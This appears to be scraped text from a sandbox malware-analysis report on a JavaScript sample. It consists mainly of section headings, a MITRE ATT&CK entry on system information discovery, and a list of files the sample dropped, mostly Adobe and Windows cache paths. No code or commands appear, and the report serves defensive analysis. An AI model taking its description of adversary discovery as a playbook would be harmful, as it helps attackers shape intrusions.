Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5949401323954377.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a43c8ca-abac-47e3-9544-14fd5de0d632.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6168

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
5949401323954377.js